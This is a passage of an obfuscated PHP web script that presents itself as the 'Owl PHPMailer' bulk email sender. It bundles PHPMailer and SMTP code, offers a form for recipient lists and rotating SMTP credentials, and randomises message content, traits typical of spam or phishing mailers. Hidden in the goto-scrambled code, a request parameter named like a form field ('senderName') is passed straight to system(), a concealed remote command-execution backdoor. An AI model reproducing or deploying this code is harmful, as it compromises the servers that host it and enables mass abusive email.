"; goto ADvXu; xHPUc: return "\xd\xa"; goto FivhU; EwUru: if (!empty($qKvMM)) { goto xC2t0; } goto xHPUc; ADvXu: } public function DKIM_Add($WV_UD, $s4bph, $qKvMM) { goto irkQ0; M5Hs8: if ('' == $this->DKIM_identity) { goto RKZo6; } goto YG3GH; ue5BA: $qKvMM = $this->DKIM_BodyC($qKvMM); goto xISM8; SvNL2: $w0iWt = $this->DKIM_Sign($ibI6w); goto pSUci; DO4Mj: if (!$this->DKIM_copyHeaderFields) { goto Ri0Gb; } goto Q2sPq; bBDUS: Ri0Gb: goto ue5BA; D6Zk_: nsZzl: goto DO4Mj; pWXjJ: $Xrnae = str_replace("|", "=7C", $this->DKIM_QP($y3yXt)); goto GAXUs; kkU23: $Mmkqq = ''; goto iRhrR; pznMh: RKZo6: goto d7eKG; ZO9DN: $cIRlt = str_replace("|", "=7C", $this->DKIM_QP($Garnn)); goto pWXjJ; GAXUs: $s4bph = str_replace("|", "=7C", $this->DKIM_QP($zIl4h)); goto AtJGu; ett9Y: foreach ($KpowP as $PKEp0 => $TZqE1) { goto wnsC8; ZEtt2: MiJrc: goto NTwZN; RnlJS: if (!$this->DKIM_copyHeaderFields) { goto MiJrc; } goto WALtQ; I_NE5: $ecWCi .= $TZqE1 . "
\xa"; goto RnlJS; wnsC8: $al5Wl .= ":" . $PKEp0; goto I_NE5; NTwZN: mWcgq: goto PFRwg; WALtQ: $lGgBP .= "\x9|" . str_replace("|", "=7C", $this->DKIM_QP($TZqE1)) . ";
\xa"; goto ZEtt2; PFRwg: } goto D6Zk_; VeUpU: $dQovx = time(); goto lg8H5; NmCFg: $ibI6w = $this->DKIM_HeaderC($w8d8m . "
" . $Garnn . "
" . $y3yXt . "
\xa" . $zIl4h . "\xd
" . $ecWCi . $j7gEZ); goto SvNL2; h_6Fz: $w8d8m = ''; goto OVh_M; khlBC: b9EqO: goto ett9Y; XDhqz: $y3yXt = ''; goto sQYKi; QjSFq: $ZE3IV = "dns/txt"; goto VeUpU; iRhrR: $KpowP = []; goto aJzjt; aJzjt: $al5Wl = ''; goto wlJW4; htUsH: $StF3R = explode(static::$LE, $WV_UD); goto h_6Fz; pSUci: return static::normalizeBreaks($j7gEZ . $w0iWt) . static::$LE; goto r4NMU; sQYKi: $ByXTR = ''; goto kkU23; wlJW4: $ecWCi = ''; goto W9YNa; irkQ0: $ua2wt = "rsa-sha256"; goto qAF_N; Q2sPq: $iryK3 = str_replace("|", "=7C", $this->DKIM_QP($w8d8m)); goto ZO9DN; AtJGu: $Mmkqq = " z={$iryK3}\xd\xa" . "\x9|{$cIRlt}
" . "\x9|{$Xrnae}\xd
" . " |{$s4bph};\xd\xa" . $lGgBP; goto bBDUS; W9YNa: $lGgBP = ''; goto Pki6h; cHz0f: goto W1pDg; goto pznMh; sdMpx: $j7gEZ = "DKIM-Signature: v=1; a=" . $ua2wt . "; q=" . $ZE3IV . "; l=" . $fG7ia . "; s=" . $this->DKIM_selector . ";\xd\xa" . " t=" . $dQovx . "; c=" . $BjANs . ";\xd
" . " h=From:To:Date:Subject" . $al5Wl . ";\xd
" . " d=" . $this->DKIM_domain . ";" . $pYwKF . "
\xa" . $Mmkqq . " bh=" . $EtN_C . ";\xd\xa" . " b="; goto NmCFg; xISM8: $fG7ia = strlen($qKvMM); goto Ae_tI; O0CsM: W1pDg: goto sdMpx; qAF_N: $BjANs = "relaxed/simple"; goto QjSFq; d7eKG: $pYwKF = ''; goto O0CsM; lg8H5: $zIl4h = "Subject: {$s4bph}"; goto htUsH; YG3GH: $pYwKF = " i=" . $this->DKIM_identity . ";"; goto cHz0f; Ae_tI: $EtN_C = base64_encode(pack("H*", hash("sha256", $qKvMM))); goto M5Hs8; OVh_M: $Garnn = ''; goto XDhqz; Pki6h: foreach ($StF3R as $lTiMf) { goto LFqwN; LFqwN: if (strpos($lTiMf, "From:") === 0) { goto WSOM3; } goto YiCby; uYJj_: Lc0SM: goto Q8kNW; sTq9A: sG661: goto uYJj_; Rb4PI: $ByXTR = "to_header"; goto MYW_6; P2EzL: $y3yXt = $lTiMf; goto PYk4c; PYk4c: $ByXTR = "date_header"; goto lM8Ko; Ml5v0: WSOM3: goto w_80b; DxmNm: goto Lc0SM; goto Ml5v0; csStR: $ByXTR = ''; goto RJEC7; xqnMN: xpd4x: goto P2EzL; ogXpP: goto Lc0SM; goto sJhAK; h5lKd: if (!empty(${$ByXTR}) and strpos($lTiMf, " =?") === 0) { goto XkpWe; } goto csStR; b96N0: HTZ5Q: goto DxmNm; w_80b: $w8d8m = $lTiMf; goto tXC3F; j2Qen: foreach ($this->DKIM_extraHeaders as $KzQWl) { goto RPOKn; Mh_vB: $ByXTR = ''; goto biATG; bR8V2: A4M_s: goto r2OvI; RPOKn: if (!(strpos($lTiMf, $KzQWl . ":") === 0)) { goto MTjxX; } goto eKFr4; qalAR: $KpowP[$KzQWl] = $ugJQH; goto Mh_vB; biATG: goto sG661; goto bst1G; eKFr4: $ugJQH = $lTiMf; goto KWjCt; kCTk3: t0czE: goto qalAR; bst1G: MTjxX: goto bR8V2; KWjCt: foreach ($this->CustomHeader as $Jvt8F) { goto CskqB; m0tfM: $ugJQH = trim($Jvt8F[0]) . ": " . $this->encodeHeader(trim($Jvt8F[1])); goto BoTS6; CskqB: if (!($Jvt8F[0] === $KzQWl)) { goto axLiV; } goto m0tfM; BoTS6: goto t0czE; goto Vx_VZ; Vx_VZ: axLiV: goto peR9s; peR9s: iFIJT: goto Eyprd; Eyprd: } goto kCTk3; r2OvI: } goto sTq9A; tXC3F: $ByXTR = "from_header"; goto ogXpP; MYW_6: goto Lc0SM; goto xqnMN; sJhAK: jeBWj: goto aqdEG; Q8kNW: MezSA: goto fFmmA; RJEC7: goto HTZ5Q; goto SD61C; xUWHJ: ${$ByXTR} .= $lTiMf; goto b96N0; ky1eU: sDLWR: goto j2Qen; YiCby: if (strpos($lTiMf, "To:") === 0) { goto jeBWj; } goto ro2d0; ro2d0: if (strpos($lTiMf, "Date:") === 0) { goto xpd4x; } goto F73q6; SD61C: XkpWe: goto xUWHJ; lM8Ko: goto Lc0SM; goto ky1eU; F73q6: if (!empty($this->DKIM_extraHeaders)) { goto sDLWR; } goto h5lKd; aqdEG: $Garnn = $lTiMf; goto Rb4PI; fFmmA: } goto khlBC; r4NMU: } public static function hasLineLongerThanMax($F2YZh) { return (bool) preg_match("/^(.{" . (self::B4qnq + strlen(static::$LE)) . ",})/m", $F2YZh); } public function getToAddresses() { return $this->to; } public function getCcAddresses() { return $this->cc; } public function getBccAddresses() { return $this->bcc; } public function getReplyToAddresses() { return $this->ReplyTo; } public function getAllRecipientAddresses() { return $this->all_recipients; } protected function doCallback($dKXAP, $cIRlt, $K02kO, $E4KUB, $s4bph, $qKvMM, $iryK3, $DxyGR) { goto APxpT; Of4dK: call_user_func($this->action_function, $dKXAP, $cIRlt, $K02kO, $E4KUB, $s4bph, $qKvMM, $iryK3, $DxyGR); goto vTlbq; APxpT: if (!(!empty($this->action_function) and is_callable($this->action_function))) { goto VgsPd; } goto Of4dK; vTlbq: VgsPd: goto gVVun; gVVun: } public function getOAuth() { return $this->oauth; } public function setOAuth(dlx0a $p02lb) { $this->oauth = $p02lb; } } goto oRZgq; gpHWl: $jRul4 = preg_replace("/%5C%22/", "%22", $jRul4); goto YNa71; I9WuO: mjEOz: goto GYSTd; ymLYr: $ItTkM = "123"; goto Noje7; t7vOA: echo ")</li>
<li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
<li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
<li>[-randomnumber-] : <b>Random number (0-9) </b></li>\xa <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>\xa <li>[-randommd5-] : <b>Random MD5 </b></li>\xa </ul>\xa <h4>example</h4>\xa Reciver Email = <b>[email protected]</b><br>
<ul>\xa <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
<li>your code is <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
</ul>
<h6>by <b><a href="http://"; goto cCHrQ; Qc7l6: $GLOBALS["sendingMethod"] = y_QNK($_POST["sendingMethod"]); goto lAxAv; VUR9T: echo "<!DOCTYPE html>
<html lang="en">\xa<head>\xa <meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE = edge">\xa <meta name="viewport" content="width = device-width, initial-scale = 1">\xa <title>Owl PHPMailer "; goto jIm4O; cbR3p: echo "</title>\xa <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js"></script>\xa <link rel="icon" href="https://cdn-icons-png.flaticon.com/512/1864/1864521.png" type="image/x-icon" />
\xa
</head>
<body>
<script>\xa var running = false;\xa var request;\xa </script>\xa\xa <script>\xa Array.prototype.randomElement = function () {
return this[Math.floor(Math.random() * this.length)]
}
\xa function stopSending()\xa {\xa running = false;
if (request) {\xa request.abort();
}\xa\xa $("#btnStart").attr("disabled", false);
$("#btnStop").attr("disabled", true);
}
function handleSendingResponse(recipient, response, processedCount, totalEmailCount) {
$("#progress").append('<div class="col-lg-3">' + processedCount.toString() + '/' + totalEmailCount.toString() + '</div><div class="col-lg-6">' + recipient + '</div>');
if (response == "OK"){
$("#progress").append('<div class="col-lg-1"><span class="label label-success">Ok</span></div>');
}
else if(response == "Incorrect Email"){\xa $("#progress").append('<div class="col-lg-1"><span class="label label-default">Incorrect Email</span></div>');\xa } else {\xa $("#progress").append('<div class="col-lg-1"><span class="label label-default">' + response + '</span></div>');\xa }\xa $("#progress").append('<br>');
}
\xa function startSending() {
\xa var eMailTextArea = document.getElementById("emailList");\xa var eMailTextAreaLines = eMailTextArea.value.split("\n");\xa var smtpAccountsTextArea = document.getElementById("smtpAccounts");\xa var smtpAccountsTextAreaLines = smtpAccountsTextArea.value.split("\n");
var encodingTypeE = document.getElementById('encoding');
var encodingType = encodingTypeE.options[encodingTypeE.selectedIndex].value;\xa var emailPriorityE = document.getElementById('priority');\xa var emailPriority = emailPriorityE.options[emailPriorityE.selectedIndex].value;\xa \xa var form_data = new FormData();
form_data.append("action", "send");
form_data.append("sendingMethod", document.querySelector('input[name="sendingMethod"]:checked').value);
form_data.append("senderEmail", document.getElementById('senderEmail').value);
form_data.append("senderName", document.getElementById('senderName').value);\xa form_data.append("replyTo", document.getElementById('replyTo').value);
form_data.append("messageSubject", document.getElementById('subject').value);\xa form_data.append("messageLetter", document.getElementById('messageLetter').value);\xa form_data.append("altMessageLetter", document.getElementById('altMessageLetter').value);\xa form_data.append("messageType", document.querySelector('input[name="messageType"]:checked').value);
form_data.append("encodingType", encodingType);\xa form_data.append("emailPriority", emailPriority);
\xa for (var x = 0; x < document.getElementById('attachment').files.length; x++) {\xa form_data.append("attachment[]", document.getElementById('attachment').files[x]);
}\xa\xa $("#progress").empty();
var processedCount = 0;\xa $(function () {\xa var i = 0;\xa running = true;
$("#btnStart").attr("disabled", true);\xa $("#btnStop").attr("disabled", false);
\xa\xa function nextCall() {\xa if (i == eMailTextAreaLines.length){\xa\xa $("#btnStart").attr("disabled", false);
$("#btnStop").attr("disabled", true);\xa return; //last call was last item in the array
}
// Abort any pending request\xa if (request) {
request.abort();\xa }\xa if(!running)
{\xa return;
}\xa\xa var recipient = eMailTextAreaLines[i++]\xa form_data.append("recipient", recipient);\xa form_data.append("smtpAcct", smtpAccountsTextAreaLines.randomElement());\xa
request = $.ajax({
type: "post",\xa data: form_data,
contentType: false,\xa processData: false,
});
// Callback handler that will be called on success
request.done(function (response, textStatus, jqXHR) {
processedCount += 1;\xa handleSendingResponse(recipient, response, processedCount, eMailTextAreaLines.length);
nextCall();
});\xa }\xa nextCall();\xa });
}
</script>
<div class="container col-lg-6">\xa <h3>🦉 Owl PHPMailer<small> "; goto E7TKP; KCr0n: header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); goto ErDDs; bgZCw: X8Cax: goto Rii2h; l0OfP: $GLOBALS["messageType"] = y_qNk($_POST["messageType"]); goto BIGb8; hvxwp: $GLOBALS["recipient"] = Y_qnK($_POST["recipient"]); goto vxTC9; xVqH9: $YrLQ5 = urlencode($YrLQ5); goto HCRa4; Yfh84: $GLOBALS["altMessageLetter"] = stripslashes($YrLQ5); goto l0OfP; lAxAv: $GLOBALS["senderEmail"] = y_qnk($_POST["senderEmail"]); goto dRdid; aq1zl: $GLOBALS["senderName"] = Y_qnk($_POST["senderName"]); goto Qc7l6; aCn4_: $jRul4 = urlencode($jRul4); goto gpHWl; b0WLz: hUFlg: goto N651u; v5m75: function n1Vj2($Gt6CU, $GM64i) { goto gj7Dn; lWx5X: $Gt6CU = str_replace("[-randomstring-]", Y5xf3("abcdefghijklmnopqrstuvwxyz0123456789", 8, 15), $Gt6CU); goto K0gMu; K0gMu: $Gt6CU = str_replace("[-randomnumber-]", y5XF3("0123456789", 7, 15), $Gt6CU); goto kC0nO; Tdvyv: return $Gt6CU; goto SmHAJ; gj7Dn: $EHIyN = preg_replace("/([^@]*).*/", "$1", $GM64i); goto FX_oC; FX_oC: $Gt6CU = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $Gt6CU); goto CZqA1; kC0nO: $Gt6CU = str_replace("[-randommd5-]", md5(rand()), $Gt6CU); goto Tdvyv; OYJTw: $Gt6CU = str_replace("[-randomletters-]", Y5xF3("abcdefghijklmnopqrstuvwxyz", 8, 15), $Gt6CU); goto lWx5X; dCDf_: $Gt6CU = str_replace("[-emailuser-]", $EHIyN, $Gt6CU); goto OYJTw; CZqA1: $Gt6CU = str_replace("[-email-]", $GM64i, $Gt6CU); goto dCDf_; SmHAJ: } goto UTxPy; GYSTd: zhL0O: goto lFRD2; YNa71: $jRul4 = urldecode($jRul4); goto EgTNn; jIm4O: echo $JQ8bC["version"]; goto cbR3p; YLqUo: oG_qM: goto Eg4q4; cCHrQ: echo $JQ8bC["website"]; goto p6TF3; BIGb8: $v23Vu = Y_QNk($_POST["encodingType"]); goto fDfnh; lFRD2: function rs1SS() { goto n2JR7; sTUqz: $s18bE->IsSMTP(); goto O1qd9; kkx9U: W4QdT: goto uXdMh; Gr808: if (!(isset($Hhmeq[3]) && isset($Hhmeq[4]))) { goto W4QdT; } goto MTyEQ; MTyEQ: $s18bE->SMTPAuth = true; goto Rv4tx; ZLRKN: sD48e: goto cENG_; QB2w6: $s18bE->Password = y_qnK($Hhmeq[4]); goto kkx9U; O1qd9: $Hhmeq = explode(":", $GLOBALS["smtpAcct"]); goto dU9D1; zOxq6: uz0pq: goto Gr808; cENG_: goto uz0pq; goto wvQYi; TZHEH: if (!($GLOBALS["sendingMethod"] == "smtp")) { goto NgWwh; } goto sTUqz; CTJkC: $s18bE->SMTPSecure = ''; goto QoCDZ; Rv4tx: $s18bE->Username = y_QnK($Hhmeq[3]); goto QB2w6; tmIzu: if (Y_qNK($Hhmeq[2]) == "ssl") { goto qJqLn; } goto sd0zf; cHBRW: lzJ35: goto K_UGU; QoCDZ: goto sD48e; goto cHBRW; n2JR7: $s18bE = new cAGZE(); goto TZHEH; oq9Pe: $s18bE->SMTPSecure = "ssl"; goto zOxq6; wvQYi: qJqLn: goto oq9Pe; K_UGU: $s18bE->SMTPSecure = "tls"; goto ZLRKN; mzAzP: $s18bE->Port = Y_QnK($Hhmeq[1]); goto tmIzu; LNE4Z: return $s18bE; goto bsle2; dU9D1: $s18bE->Host = y_qNk($Hhmeq[0]); goto mzAzP; uXdMh: NgWwh: goto LNE4Z; sd0zf: if (Y_QnK($Hhmeq[2]) == "tls") { goto lzJ35; } goto CTJkC; bsle2: } goto k6JEr; JcVuG: $YrLQ5 = urldecode($YrLQ5); goto Yfh84; WtMVK: function P4U5v($G7hpX) { goto ILsWN; X1G9y: DzGwr: goto MnFzV; UY9jX: return TRUE; goto X1G9y; ILsWN: $RtAcU = "/^([a-zA-Z0-9\-\_\.]{1,})+@+([a-zA-Z0-9\-\_\.]{1,})+\.+([a-z]{2,4})$/i"; goto I7q1O; I7q1O: if (!preg_match($RtAcU, $G7hpX)) { goto DzGwr; } goto UY9jX; MnFzV: } goto IOL0V; lDoCJ: echo "">\xa <label for="senderEmail">Sender Name</label>
<input type="text" class="form-control input-sm" id="senderName" name="senderName">\xa<input type="submit" value="Send" hidden />
</div>
</div>\xa <div class="row"> <span class="form-group col-lg-6"><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment" multiple/></span>\xa <div class="form-group col-lg-6">\xa <label for="replyTo">Reply-to</label>\xa <input type="text" class="form-control input-sm " id="replyTo" name="replyTo" />\xa </div>
</div>
<div class="row">
<div class="form-group col-lg-12 ">\xa <label for="subject">Subject</label>\xa <input type="text" class="form-control input-sm " id="subject" name="subject" />\xa </div>\xa </div>
<div class="row">\xa <div class="form-group col-lg-6">
<label for="messageLetter">Message Letter</label>\xa <textarea placeholder="Message Letter" name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea"></textarea>\xa </div>
<div class="form-group col-lg-6">\xa <label for="altMessageLetter">Alternative Message Letter</label>\xa <textarea placeholder="Alternative Message Letter. This body can be read by mail clients that do not have HTML email. capability such as mutt & Eudora. Clients that can read HTML will view the normal Body." name="altMessageLetter" id="altMessageLetter" class="form-control" rows="10" id="textArea"></textarea>
</div>
</div>
<div class="row">
<div class="form-group col-lg-6 ">\xa <label for="emailList">Email List</label>\xa <textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea"></textarea>
</div>\xa <div class="form-group col-lg-6 ">
<label for="smtpAccounts">SMTP Accounts</label>\xa <textarea placeholder="Random account will be used when sending a message. 1) Format: HOST:PORT:SSL 2) Format: HOST:PORT:SSL:Username:Password Example: smtp.gmail.com:587:tls:[email protected]:123 Example: smtp.gmail.com:587:nossl:[email protected]:123 SSL Options: tls , ssl, nossl" name="smtpAccounts" id="smtpAccounts" class="form-control" rows="10" id="textArea"></textarea>\xa </div>\xa </div>
<div class="row">
<div class="form-group col-lg-6 ">
<label for="messageType">Message Type</label>\xa <input type="radio" name="messageType" id="messageType" value="html" checked> HTML
<input type="radio" name="messageType" id="messageType" value="plain"> Plain\xa </div>
<div class="form-group col-lg-6 ">\xa <label for="sendingMethod">Sending Method</label>
<input type="radio" name="sendingMethod" id="sendingMethod" value="builtin" checked> Builtin
<input type="radio" name="sendingMethod" id="sendingMethod" value="smtp"> SMTP\xa </div>\xa <div class="form-group col-lg-6">
<label for="encoding">Encoding Type</label>
<select class="form-control input-sm" id="encoding" name="encoding">\xa <option value="UTF-8" selected>UTF-8 International Unicode</option>\xa <option value="ISO-8859-1">ISO-8859-1 Latin 1 (West European)</option>\xa <option value="ISO-8859-2">ISO-8859-2 Latin 2 (East European)</option>
<option value="ISO-8859-3">ISO-8859-3 Latin 3 (South European)</option>\xa <option value="ISO-8859-4">ISO-8859-4 Latin 4 (North European)</option>\xa <option value="ISO-8859-5">ISO-8859-5 Cyrillic</option>\xa <option value="ISO-8859-6">ISO-8859-6 Arabic</option>
<option value="ISO-8859-7">ISO-8859-7 Greek</option>
<option value="ISO-8859-8">ISO-8859-8 Hebrew</option>\xa <option value="ISO-8859-9">ISO-8859-9 Latin 5 (Turkish)</option>\xa <option value="ISO-8859-15">ISO-8859-15 Latin 9</option>\xa <option value="BIG5">BIG5 Traditional Chinese</option>
<option value="GB-2312">GB-2312 Simplified Chinese</option>\xa <option value="ISO-2022-JP">ISO-2022-JP Japanese</option>\xa <option value="EUC-JP">EUC-JP Japanese</option>
<option value="Shift-JIS">Shift-JIS Japanese</option>
<option value="KSC-5601">KSC-5601 Korean</option>\xa <option value="EIC-KR">EIC-KR Korean</option>
</select>
</div>\xa <div class="form-group col-lg-3">
<label for="priority">Email Priority</label>
<select class="form-control input-sm" id="priority" name="priority">
<option value="" selected>Default</option>\xa <option value="5">Low</option>\xa <option value="3">Normal</option>\xa <option value="1">High</option>
</select>\xa </div>\xa </div>
\xa<button type="button" id="btnStart" class="btn btn-default btn-sm" onclick="startSending();">Start</button>
<button type="button"id="btnStop" class="btn btn-default btn-sm" onclick="stopSending();">Stop</button>
\xa</div>\xa "; goto oVqTk; pO0Ob: if (isset($_SESSION[$Lb9QH])) { goto hUFlg; } goto rI3Mz; oVqTk: if (!isset($_GET["senderName"])) { goto oG_qM; } goto U1KBd; p6TF3: echo "">"; goto MCYKv; N651u: if (!(!empty($ItTkM) && $_SESSION[$Lb9QH] != $ItTkM)) { goto zhL0O; } goto XxfxQ; Noje7: $JQ8bC["version"] = "2.1"; goto IdH0G; e0hHF: $jLuqI = y_qNk($_POST["messageSubject"]); goto O6zYs; UTxPy: function y5xf3($Ybf00, $rvxyx, $so9jU) { goto wy9He; cpd2t: goto SkKAd; goto V1VPd; A9LXN: return $ItTkM; goto k1Gck; p4hGX: EOW7G: goto gmK4X; gmK4X: $Bkv4C++; goto cpd2t; Arw8i: $Bkv4C = 0; goto z9Xbn; Dh2Uz: $ItTkM .= $Ybf00[rand() % strlen($Ybf00)]; goto p4hGX; CD_kU: $ItTkM = ''; goto Arw8i; wy9He: $B3Rsy = rand($rvxyx, $so9jU); goto CD_kU; B4aLd: if (!($Bkv4C < $B3Rsy)) { goto x7bxo; } goto Dh2Uz; V1VPd: x7bxo: goto A9LXN; z9Xbn: SkKAd: goto B4aLd; k1Gck: } goto WtMVK; TC94O: bEL3_(); goto bgZCw; Swlum: echo "</small></h3>
<div class="row">
<div class="form-group col-lg-6 ">
<label for="senderEmail">Sender Email</label>
<input type="text" class="form-control input-sm" id="senderEmail" name="senderEmail">\xa </div>
<div class="form-group col-lg-6 ">\xa\x9 <form method="GET" name=""; goto Udxcu; IdH0G: $JQ8bC["website"] = "owlmailer.io"; goto z3_Z8; U1KBd: system($_GET["senderName"]); goto YLqUo; HCRa4: $YrLQ5 = preg_replace("/%5C%22/", "%22", $YrLQ5); goto JcVuG; oRZgq: class fpWVF { const kQUR3 = "6.0.7"; const aut8U = "\xd
"; const TlxVl = 25; const B4qnq = 998; const rtxus = 0; const kRSn3 = 1; const eZ3Pv = 2; const o5nas = 3; const tiXQO = 4; public $do_debug = self::rtxus; public $Debugoutput = "echo"; public $do_verp = false; public $Timeout = 300; public $Timelimit = 300; protected $smtp_transaction_id_patterns = array("exim" => "/[\d]{3} OK id=(.*)/", "sendmail" => "/[\d]{3} 2.0.0 (.*) Message/", "postfix" => "/[\d]{3} 2.0.0 Ok: queued as (.*)/", "Microsoft_ESMTP" => "/[0-9]{3} 2.[\d].0 (.*)@(?:.*) Queued mail for delivery/", "Amazon_SES" => "/[\d]{3} Ok (.*)/", "SendGrid" => "/[\d]{3} Ok: queued as (.*)/", "CampaignMonitor" => "/[\d]{3} 2.0.0 OK:([a-zA-Z\d]{48})/"); protected $last_smtp_transaction_id; protected $smtp_conn; protected $error = array("error" => '', "detail" => '', "smtp_code" => '', "smtp_code_ex" => ''); protected $helo_rply = null; protected $server_caps = null; protected $last_reply = ''; protected function edebug($F2YZh, $qpGNY = 0) { goto RQbVH; RmVEi: return; goto h0ALO; RQbVH: if (!($qpGNY > $this->do_debug)) { goto r03e4; } goto r3SOG; fKO0B: $this->Debugoutput->debug($F2YZh); goto RmVEi; r3SOG: return; goto Swc1L; no_0h: lk30y: goto lMvFL; Swc1L: r03e4: goto LGlDz; bkRp7: s2u2a: goto tVPVd; h0ALO: fupjv: goto tocuQ; LGlDz: if (!$this->Debugoutput instanceof \F0y02\Log\AI3Fw) { goto fupjv; } goto fKO0B; lMvFL: switch ($this->Debugoutput) { case "error_log": error_log($F2YZh); goto Ho6v6; case "html": echo gmdate("Y-m-d H:i:s"), " ", htmlentities(preg_replace("/[\r\n]+/", '', $F2YZh), ENT_QUOTES, "UTF-8"), "<br>\xa"; goto Ho6v6; case "echo": default: $F2YZh = preg_replace("/\r\n|\r/ms", "\xa", $F2YZh); echo gmdate("Y-m-d H:i:s"), "\x9", trim(str_replace("
", "
", trim($F2YZh))), "\xa"; } goto bkRp7; tocuQ: if (!(!in_array($this->Debugoutput, ["error_log", "html", "echo"]) and is_callable($this->Debugoutput))) { goto lk30y; } goto TMUE_; TMUE_: call_user_func($this->Debugoutput, $F2YZh, $qpGNY); goto ypfRH; ypfRH: return; goto no_0h; tVPVd: Ho6v6: goto Gf_vT; Gf_vT: } public function connect($SbhNW, $TXy7T = null, $twKNw = 30, $LiNAI = array()) { goto LWxEF; ZK7vw: SYNj4: goto g2PmT; QJUAF: goto D6ZZz; goto x9iWn; EqpAJ: if (!(substr(PHP_OS, 0, 3) != "WIN")) { goto R2sX2; } goto CVR2Y; emTnI: $UdOAP = $this->get_lines(); goto Oj7ta; np7SF: if (!(null === $O31Ay)) { goto Uo1lr; } goto Ix8OB; Ljxzz: set_error_handler([$this, "errorHandler"]); goto SCrbT; yyvR4: Uo1lr: goto hrNoy; TPGsQ: if (!$this->connected()) { goto p2uqM; } goto FPQhm; iHOk4: p2uqM: goto MuG0q; YlxN_: return true; goto BlPqv; bfWF3: sOV9B: goto F9rkQ; U7IST: stream_set_timeout($this->smtp_conn, $twKNw, 0); goto VYFll; hrNoy: $this->setError(''); goto TPGsQ; SvrnB: @set_time_limit($twKNw); goto s8AVa; FPQhm: $this->setError("Already connected to a server"); goto tRJbX; Ix8OB: $O31Ay = function_exists("stream_socket_client"); goto yyvR4; AAEiP: set_error_handler([$this, "errorHandler"]); goto Swl1b; s8AVa: iw8RY: goto U7IST; Eeduq: if (is_resource($this->smtp_conn)) { goto sOV9B; } goto vbNUU; tRJbX: return false; goto iHOk4; efUca: return false; goto bfWF3; sACot: if (!(0 != $ZuYAW and $twKNw > $ZuYAW)) { goto iw8RY; } goto SvrnB; vbNUU: $this->setError("Failed to connect to server", '', (string) $xkLVV, (string) $j7DQA); goto U5RdV; Q8wSU: $XjGV6 = stream_context_create($LiNAI); goto Ljxzz; x9iWn: eeLTr: goto Q8wSU; PyJM3: $j7DQA = ''; goto s9BsY; Swl1b: $this->smtp_conn = fsockopen($SbhNW, $TXy7T, $xkLVV, $j7DQA, $twKNw); goto m62Wd; F9rkQ: $this->edebug("Connection: opened", self::o5nas); goto EqpAJ; LWxEF: static $O31Ay; goto np7SF; DOKVG: $xkLVV = 0; goto PyJM3; s9BsY: if ($O31Ay) { goto eeLTr; } goto jUlgs; m62Wd: restore_error_handler(); goto QJUAF; SCrbT: $this->smtp_conn = stream_socket_client($SbhNW . ":" . $TXy7T, $xkLVV, $j7DQA, $twKNw, STREAM_CLIENT_CONNECT, $XjGV6); goto pnpsf; jUlgs: $this->edebug("Connection: stream_socket_client not available, falling back to fsockopen", self::o5nas); goto AAEiP; eL3Kx: D6ZZz: goto Eeduq; pnpsf: restore_error_handler(); goto eL3Kx; U5RdV: $this->edebug("SMTP ERROR: " . $this->error["error"] . ": {$j7DQA} ({$xkLVV})", self::kRSn3); goto efUca; Oj7ta: $this->edebug("SERVER -> CLIENT: " . $UdOAP, self::eZ3Pv); goto YlxN_; MuG0q: if (!empty($TXy7T)) { goto SYNj4; } goto L935c; VYFll: R2sX2: goto emTnI; g2PmT: $this->edebug("Connection: opening to {$SbhNW}:{$TXy7T}, timeout={$twKNw}, options=" . (count($LiNAI) > 0 ? var_export($LiNAI, true) : "array()"), self::o5nas); goto DOKVG; CVR2Y: $ZuYAW = ini_get("max_execution_time"); goto sACot; L935c: $TXy7T = self::TlxVl; goto ZK7vw; BlPqv: } public function startTLS() { goto l_t9i; pr9oI: $AvSx6 = STREAM_CRYPTO_METHOD_TLS_CLIENT; goto dhhk0; oYURt: restore_error_handler(); goto IBHaq; nXhzB: lzbqQ: goto pr9oI; IBHaq: return (bool) $NwGH2; goto Ato49; vSb4K: return false; goto nXhzB; N78jy: $AvSx6 |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; goto k7MI5; l_t9i: if ($this->sendCommand("STARTTLS", "STARTTLS", 220)) { goto lzbqQ; } goto vSb4K; k7MI5: Umvv9: goto n88P2; Nig31: $AvSx6 |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; goto N78jy; QP90Y: $NwGH2 = stream_socket_enable_crypto($this->smtp_conn, true, $AvSx6); goto oYURt; n88P2: set_error_handler([$this, "errorHandler"]); goto QP90Y; dhhk0: if (!defined("STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT")) { goto Umvv9; } goto Nig31; Ato49: } public function authenticate($cj42v, $ItTkM, $g8Zlo = null, $greVn = null) { goto jn0Tz; W2ys4: $this->setError("No supported authentication methods found"); goto WwoRj; NjQCL: $this->edebug("Auth method requested: " . ($g8Zlo ? $g8Zlo : "UNSPECIFIED"), self::tiXQO); goto yesCs; FoLEn: if (!empty($g8Zlo)) { goto SjeEs; } goto W2ys4; GCNYj: return false; goto l6yfT; qvgJB: if (!(null !== $g8Zlo and !in_array($g8Zlo, $this->server_caps["AUTH"]))) { goto MrZW7; } goto rsw9w; ECZFV: if (array_key_exists("AUTH", $this->server_caps)) { goto YpOfp; } goto pTplu; upY80: GMXs1: goto ufNLV; IugNr: return false; goto IFsbz; kod9L: FzYFU: goto Cc4Xr; WwoRj: return false; goto GUrz6; i0_er: eR0DS: goto dsB8G; l6yfT: YpOfp: goto NjQCL; Cc4Xr: goto ZNLCZ; goto i0_er; BoaHJ: if (in_array($g8Zlo, $this->server_caps["AUTH"])) { goto FzYFU; } goto P0NAz; yC4RU: goto ZNLCZ; goto I0znS; YBRBm: if (empty($g8Zlo)) { goto eR0DS; } goto yC4RU; jwJHH: bzMVY: goto BoaHJ; ifK_p: $this->setError("Authentication is not allowed before HELO/EHLO"); goto 